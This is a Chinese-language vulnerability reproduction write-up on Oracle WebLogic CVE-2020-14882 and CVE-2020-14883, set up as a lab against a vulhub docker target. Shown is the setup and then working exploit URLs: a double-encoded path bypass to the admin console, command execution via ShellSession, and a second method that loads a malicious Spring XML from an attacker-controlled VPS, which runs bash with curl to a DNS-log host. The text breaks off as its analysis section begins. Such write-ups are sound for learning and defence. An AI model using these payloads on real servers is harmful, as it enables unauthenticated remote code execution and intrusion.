目录
1.Weblogic简介
Oracle WebLogic Server是用于构建和部署企业Java EE应用程序的业界最佳应用程序服务器,并支持新功能,这些新功能可降低运营成本,提高性能,增强可伸缩性并支持Oracle Applications产品组合。
这是一个Java的中间件,本人是这么理解的那要想更加详细的理解请查看官方介绍【官方介绍】。
2.漏洞描述
复现漏洞编号CVE-2020-14882,CVE-2020-14883
可以构造特殊的HTTP请求,在未经身份验证的情况下访问Weblogic Server Console,并且还能执行任意代码。
3.漏洞影响
weblogic 10.3.6.0.0
weblogic 12.1.3.0.0
weblogic 12.2.1.3.0
weblogic 12.2.1.4.0
weblogic 14.1.1.0.0
4.环境搭建
搭建WeblogicServer的环境可以尝试下载官方提供的应用,在本地搭建,本地搭建需要JAVA环境。至于教程请自行百度!
下载地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
在本次复现实验里直接采用docker环境,使用vulhub环境,可以直接复现,会省去很多步骤。复现环境使用12.2.1.3-2018 tag镜像。
4.1 使用docker搭建靶机
获取镜像
docker pull vulhub/weblogic:12.2.1.3-2018
创建一个容器,并且将容器的端口映射到宿主机的端口
docker run -di -p 7001:7001 -p 8055:8055 vulhub/weblogic:12.2.1.3-2018
启动成功后使用浏览器访问
4.2 漏洞复现
使用POC进行越权,利用该url可以直接访问到管理后台页面
http://192.168.204.142:7001/console/css/%252e%252e%252fconsole.portal
此时获取的权限是一个低权限用户,到这一步还无法执行命令,此时就要结合CVE-2020-14883,利用该漏洞可以通过http协议使后台任意用户执行任意命令。作为攻击者可以构造特殊的HTTP请求,在未验证身份的情况下执行任意代码。
在此提供两种该漏洞的利用方式
方法一:利用com.tangosol.coherence.mvel2.sh.ShellSession
执行poc如下:
http://192.168.204.142:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/pocIsok%27);%22);
需要注意的是执行完poc后的页面回显为404,也表示命令执行成功了,我看有大佬的文章抓包获取到的回显结果为302,可能是靶机的环境有细微的区别。
结果截图
方法二:利用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
本方法对所有的Weblogic版本均有效,前提是需要有一个公网的vps,搭建临时的http服务,构建恶意的xml,并保证能狗访问。建议使用python临时开启http服务。
构造的恶意xml内容:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[curl i368cj.dnslog.cn]]></value>
</list>
</constructor-arg>
</bean>
</beans>
通过DNSlog平台查看回显,执行POC加载vps上的xml,执行其中的命令
http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://XX.XX.XX.XX:8085/weblogic/evil.xml%22)
查看回显
5.漏洞分析
5.1 搭建调试环境
首先需要开启远程调试环境,进入docker容器内部修改setDomainEnv.sh,在docker里需要将该文件复制到宿主机内,然后再拷贝进去。